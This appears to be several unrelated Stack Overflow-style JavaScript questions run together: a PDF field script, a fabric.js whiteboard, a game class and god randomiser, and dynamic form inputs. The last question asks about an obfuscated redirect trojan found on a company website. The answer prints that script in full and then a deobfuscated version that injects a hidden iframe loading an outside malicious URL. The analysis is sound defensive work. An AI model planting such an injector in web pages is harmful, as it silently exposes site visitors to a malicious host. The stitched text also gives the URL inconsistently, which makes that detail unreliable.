How can I add a text field to all even pages of a pdf document?
With the following the text is added only to the second page of the document.
if ( fld = "undefined" ) {
var f = this.addField("MacroDate", "text", 1, [550,0,50,15]);
f.delay = true;
f.alignment = "center";
f.fillColor = color.transparent;
f.lineWidth = 0;
f.strokeColor = color.black;
f.borderStyle = border.s;
f.textSize = 8;
f.textColor = color.black;
f.textFont = font.Helv;
f.readonly = false;
f.multiline = false;
f.doNotScroll = true;
f.value = util.printd("dd/mm/yyyy", new Date());
f.delay = false;
} ```
I am attempting to make a whiteboard using fabric.js and socket.io. It works, but after drawing one line, it stops working. I believe that it is looping in the socket.on function and that is causing it to keep adding the same object over and over but I am not sure how to address that.
(function() {
var socket = io();
var myid = 0;
var $ = function(id){return document.getElementById(id)};
var canvas = this.__canvas = new fabric.Canvas('c', {
isDrawingMode: true
});
var now_color="black";
var now_width = 1;
fabric.Object.prototype.transparentCorners = false;
var drawingModeEl = $('drawing-mode'),
drawingOptionsEl = $('drawing-mode-options'),
drawingColorEl = $('drawing-color'),
drawingLineWidthEl = $('drawing-line-width'),
clearEl = $('clear-canvas');
eraseModeEl = $('erase-mode');
selmode = $('select');
ermode = $('erase');
dmode = $('draw');
socket.on('draw', function(path) {
fabric.util.enlivenObjects([path], function(objects) {
canvas.add(objects[0]);
});
});
selmode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
select.classList.add('active');
canvas.isDrawingMode = false;
}
ermode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
erase.classList.add('active');
canvas.isDrawingMode = true;
canvas.freeDrawingBrush = new fabric.EraserBrush(canvas);
canvas.freeDrawingBrush.width = now_width;
}
dmode.onclick = function() {
select.classList.remove('active');erase.classList.remove('active');draw.classList.remove('active');
draw.classList.add('active');
canvas.isDrawingMode = true;
canvas.freeDrawingBrush = new fabric.PencilBrush(canvas);
canvas.freeDrawingBrush.width = now_width;
canvas.freeDrawingBrush.color = now_color;
}
var canvasModifiedCallback = function() {
canvas.setActiveObject(canvas.item(myid));
var what = canvas.getActiveObject();
socket.emit('draw', what);
myid++;
canvas.discardActiveObject();
};
canvas.on('object:added', canvasModifiedCallback);
})();
function rollClass() {
// Select a physical or magical god as well as its class
var classList = new Array();
classList[0] = 0; // Physical Hunter
classList[1] = 1; // Physical Warrior
classList[2] = 2; // Physical Assassin
classList[3] = 3; // Magical Mage
classList[4] = 4; // Magical Guardian
// Computer shit to select an option
var ran = Math.random(); // Create a new random number to truly randomize it
var i = Math.floor(classList.length * ran);
// Write it onto the developer log:
document.getElementById("dLog1").innerHTML = "The variable i in function rollClass() is: " + i;
// Sends the variable classList[i] to B
var a = classList[i];
// Write onto dLog #3. Test to see what variabe "a" shows up as
document.getElementById("dLog3").innerHTML = "The variable a in function rollClass() is: " + a;
// Output classList[i]
return a;
}
// Stating the check class function first. Doesn't make a difference.
function checkClass() {
// Grab classList[i] (var a) from function rollClass();
var r = rollClass();
var dLog = "Class";
// Write out what r is in checkClass(r)
// Developer log 5
document.getElementById("dLog5").innerHTML = "The r in checkClass(r) is " + r;
// Determine if it is a physical or magical god as well as its class
if (r == 0) {
// This is a physical hunter
var type = "Physical";
var typeC = "Hunter";
var dLog = "Hunter";
} else if (r == 1) {
// This is a physical warrior
var type = "Physical";
var typeC = "Warrior";
var dLog = "Warrior";
} else if (r == 2) {
// This is a physical assassin
var type = "Physical";
var typeC = "Assassin";
var dLog = "Assassin";
} else if (r == 3) {
// This is a magical mage
var type = "Magical";
var typeC = "Mage";
var dLog = "Mage";
} else {
// Assume it's a magical guardian
var type = "Magical";
var typeC = "Guardian";
var dLog = "Guardian";
}
// Developer log
document.getElementById("dLog2").innerHTML = "The value for classList[i]: " + dLog;
// Sets variables for transfer to another function
var a = type;
var b = typeC;
// Developer log 7, show what var a and variable b are
document.getElementById("dLog7").innerHTML = "Variable a: " + a + "<br>Variable b: " + b;
return [a, b];
}
// ---------------------------------------------------------------------------------------------------------
// GOD ---------------------------------------------------------------------------------------------------
// ---------------------------------------------------------------------------------------------------------
// Function to determine god. Creates an array list and then determines the god.
// t = type
// c = class
function rollGod() {
var array = checkClass();
var c = array[1];
// the list of gods
// Determine what the computer chose
if (c == "Hunter") {
// Hunter
// There are 19 hunters
var god = new Array(); // Array for hunters
god[0] = "Ah Muzen Cab";
god[1] = "Anhur";
god[2] = "Apollo";
god[3] = "Artemis";
god[4] = "Cernunnos";
god[5] = "Chernobog";
god[6] = "Chiron";
god[7] = "Cupid";
god[8] = "Hachiman";
god[9] = "Heimdallr";
god[10] = "Hou Yi";
god[11] = "Izanami";
god[12] = "Jing Wei";
god[13] = "Medusa";
god[14] = "Neith";
god[15] = "Rama";
god[16] = "Skadi";
god[17] = "Ullr";
god[18] = "Xbalanque";
} else if (c == "Warrior") {
// Warrior
// There are 16 warriors
var god = new Array();
god[0] = "Achilles";
god[1] = "Amaterasu";
god[2] = "Bellona";
god[3] = "Vamana";
god[4] = "Tyr";
god[5] = "Sun Wukong";
god[6] = "Nike";
god[7] = "Odin";
god[8] = "Osiris";
god[9] = "Hercules";
god[10] = "Horus";
god[11] = "Cu Chulainn";
god[12] = "Chaac";
god[13] = "Erlang Shen";
god[14] = "Guan Yu";
god[15] = "King Arthur";
} else if (c == "Assassin") {
// Assassin
// There are 21 assassins
var god = new Array();
god[0] = "Arachne"; //
god[1] = "Awilix";
god[2] = "Bakasura";
god[3] = "Bastet";
god[4] = "Camazotz";
god[5] = "Da Ji";
god[6] = "Fenrir";
god[7] = "Hun Batz";
god[8] = "Kali";
god[9] = "Loki";
god[10] = "Mercury";
god[11] = "Ne Zha";
god[12] = "Nemesis";
god[13] = "Pele";
god[14] = "Ratatoskr";
god[15] = "Ravana";
god[16] = "Serqet";
god[17] = "Set";
god[18] = "Susano";
god[19] = "Thanatos";
god[20] = "Thor";
} else if (c == "Mage") {
// Mage
// 32 Mages in the list currently
var god = new Array();
god[0] = "Agni";
god[1] = "Ah Puch";
god[2] = "Anubis";
god[3] = "Ao Kuang";
god[4] = "Aphrodite";
god[5] = "Baron Samedi";
god[6] = "Chang'e";
god[7] = "Chronos";
god[8] = "Discordia";
god[9] = "Freya";
god[10] = "Hades";
god[11] = "He Bo";
god[12] = "Hel";
god[13] = "Hera";
god[14] = "Isis";
god[15] = "Janus";
god[16] = "Kukulkan";
god[17] = "Merlin";
god[18] = "Nox";
god[19] = "Nu Wa";
god[20] = "Olorun";
god[21] = "Persphone";
god[22] = "Poseidon";
god[23] = "Ra";
god[24] = "Raijin";
god[25] = "Scylla";
god[26] = "Sol";
god[27] = "The Morrigan";
god[28] = "Thoth";
god[29] = "Vulcan";
god[30] = "Zeus";
god[31] = "Zhong Kui";
} else {
// Guardian
// There are 19 guardians
var god = new Array();
god[0] = "Ares"; //
god[1] = "Artio";
god[2] = "Athena";
god[3] = "Bacchus";
god[4] = "Cabrakan";
god[5] = "Cerberus";
god[6] = "Fafnir";
god[7] = "Ganesha";
god[8] = "Geb";
god[9] = "Jormungandr";
god[10] = "Khepri";
god[11] = "Kumbhakarna";
god[12] = "Kuzenbo";
god[13] = "Sobek";
god[14] = "Sylvanus";
god[15] = "Terra";
god[16] = "Xing Tian";
god[17] = "Yemoja";
god[18] = "Ymir";
}
// Math shit
var ran = Math.random();
var zed = Math.floor(god.length * ran);
// Output
document.getElementById("god").innerHTML = god[zed];
return god[zed];
} // End of god function
// ---------------------------------------------------------------------------------------------------------
// BOOTS --------------------------------------------------------------------------------------------------
// ---------------------------------------------------------------------------------------------------------
function rollBoots() {
// Choosing boots
// Calls the result of the function checkClass
var array = checkClass();
var type = array[0];
// dLog6, show what array[0] is
document.getElementById("dLog6").innerHTML = "Developer log 6: " + type;
var god = rollGod();
// Determine what kind of god it is
// Physical God
if (type == "Physical") {
// Test if it's Rat, if not continue
if (god == "Ratatoskr") {
var boot = new Array()
boot[0] = "Acorn";
} else {
var boot = new Array();
boot[0] = "Warrior Tabi";
boot[1] = "Ninja Tabi";
boot[2] = "Reinforced Greaves";
boot[3] = "Talaria Boots";
}
} // End of if statement
// Magical God
else {
var boot = new Array();
boot[0] = "Shoes of Magi";
boot[1] = "Shoes of Focus";
boot[2] = "Reinforced Shoes";
boot[3] = "Traveler Shoes";
} // End of else statement
// Output
// Math and computer shit
var ran = Math.random();
var i = Math.floor(boot.length * ran);
// Write it out
document.getElementById("boots").innerHTML = boot[i];
}
// -----------------------------------------------------------------------------------------------------------------------
// First time opening the script
// -----------------------------------------------------------------------------------------------------------------------
// Function to create a class array and select a class
rollClass();
checkClass();
rollBoots();
<p1>God: </p1>
<div align="center" ;>
<p2 id="god">God Here</p2>
</div>
<br>
<p1>Boots: </p1>
<div align="center" ;>
<p2 id="boots">Boots Here</p2>
</div>
<p> Developer log: </p>
<p id="dLog1"> This shows the i value for variable: classList </p>
<p id="dLog3"> dLog3 </p>
<p id="dLog2"> dLog2 </p>
<p id="dLog4"> dLog4 </p>
<p id="dLog5"> dLog5 </p>
<p id="dLog6"> dLog6 </p>
<p id="dLog7"> dLog7 </p>
I have a function checkClass() to determine variables type and typeC. The function checkClass() returns those two variables. Variable type should only be "Physical" or "Magical".
I then have a second function rollBoots() that only wants variable type. For some reason, the return values are switched in the function rollBoots(). For example, checkClass() has variable type = "Physical". However, when it is called in function rollBoots(), variable type = "Magical".
I turned function checkClass() into an array so that it can be called in other functions. In a different function, the variable typeC works fine. I also saw that the function checkClass() correctly outputted the expected variables. But somewhere along the way the variable type gets mixed up.
The current output is that a Magical is selected but it creates an array from the Physical array list (Warrior Tabi, Ninja Tabi, etc.).
From the snippet code, Developer Log 6 and Variable a should display the same. Sometimes it works, sometimes it doesn't.
I have created like attachment and I have some problem to develop. The text boxes in bottom are dynamically created when add Article button pressed and now I want to update that "Added Article Details" section insert into mysql database some times have 5 rows sometime 2 rows and 1 row also wants to add. I named text box 1,2,3,4,5,6....... how to solve
My Javascript
function added_artic() {
if (added_art) {
document.getElementById('added_article').style.cssText = "display:block;";
var art_name = document.getElementsByName('article_name')[0].value;
var app = document.getElementsByName('appearance')[0].value;
var weight = document.getElementsByName('weight')[0].value;
var netWeight = document.getElementsByName('net_weight')[0].value;
var qty = document.getElementsByName('qty')[0].value;
var test = document.getElementsByName('test')[0].selectedOptions[0].text;
var added = document.getElementById("added");
var i_artname = document.createElement('input');
i_artname.value = art_name;
i_artname.name = "art_name" + art_name_id++;
i_artname.id = "txt_added";
i_artname.disabled = true;
added.appendChild(i_artname);
var i_app = document.createElement('input');
i_app.value = app;
i_app.name = "app" + app_id++;
i_app.id = "txt_added";
i_app.disabled = true;
added.appendChild(i_app);
var i_weight = document.createElement('input');
i_weight.value = weight;
i_weight.name = "weight" + weight_id++;
i_weight.id = "txt_added";
i_weight.className = "cal_weight";
i_weight.disabled = true;
added.appendChild(i_weight);
var i_netweight = document.createElement('input');
i_netweight.value = netWeight;
i_netweight.name = "netWeight" + netWeight_id++;
i_netweight.id = "txt_added";
i_netweight.className = "cal_netWeight";
i_netweight.disabled = true;
added.appendChild(i_netweight);
var i_qty = document.createElement('input');
i_qty.value = qty;
i_qty.name = "qty" + qty_id++;
i_qty.id = "txt_added";
i_qty.className = "cal_qty";
i_qty.disabled = true;
added.appendChild(i_qty);
var i_test = document.createElement('input');
i_test.value = test;
i_test.name = "test" + test_id++;
i_test.id = "txt_added";
i_test.className = "cal_test";
i_test.disabled = true;
added.appendChild(i_test);
var remove_btn = document.createElement('input');
remove_btn.type = "button";
remove_btn.value = "";
remove_btn.id = "remove_btn";
remove_btn.onclick = function ()
{
i_artname.parentElement.removeChild(i_artname);
i_app.parentElement.removeChild(i_app);
i_weight.parentElement.removeChild(i_weight);
i_netweight.parentElement.removeChild(i_netweight);
i_qty.parentElement.removeChild(i_qty);
i_test.parentElement.removeChild(i_test);
edit_btn.parentElement.removeChild(edit_btn);
this.parentElement.removeChild(this);
get_total();
if (!document.getElementsByName("test1")[0] && !document.getElementsByName("test2")[0] && !document.getElementsByName("test3")[0] && !document.getElementsByName("test4")[0] && !document.getElementsByName("test5")[0] && !document.getElementsByName("test6")[0] && !document.getElementsByName("test7")[0] && !document.getElementsByName("test8")[0] && !document.getElementsByName("test9")[0] && !document.getElementsByName("test10")[0])
{
document.getElementById('added_article').style.cssText = "display:none;";
}
}
added.appendChild(remove_btn);
var edit_btn = document.createElement('input');
edit_btn.type = "button";
edit_btn.value = "";
edit_btn.id = "edit_btn";
var a = 'weight' + (weight_id - 1);
var b = 'netWeight' + (netWeight_id - 1);
var c = 'qty' + (qty_id - 1);
edit_btn.onclick = function ()
{
document.getElementsByName(a)[0].disabled = false;
document.getElementsByName(b)[0].disabled = false;
document.getElementsByName(c)[0].disabled = false;
edit_btn.style.cssText = "background-image: url('images/update.png');";
edit_btn.onclick = function ()
{
document.getElementsByName(a)[0].disabled = true;
document.getElementsByName(b)[0].disabled = true;
document.getElementsByName(c)[0].disabled = true;
edit_btn.style.cssText = "background-image: url('images/edit.png');";
get_total();
};
};
added.appendChild(edit_btn);
document.getElementsByName('article_name')[0].value = "Article Name";
document.getElementsByName('appearance')[0].value = "Appearance";
document.getElementsByName('weight')[0].value = "";
document.getElementsByName('net_weight')[0].value = "";
document.getElementsByName('qty')[0].value = "";
document.getElementsByName('test')[0].value = "Select You Tested Karatage type";
}
}
my Project screen shot -
I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();
It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.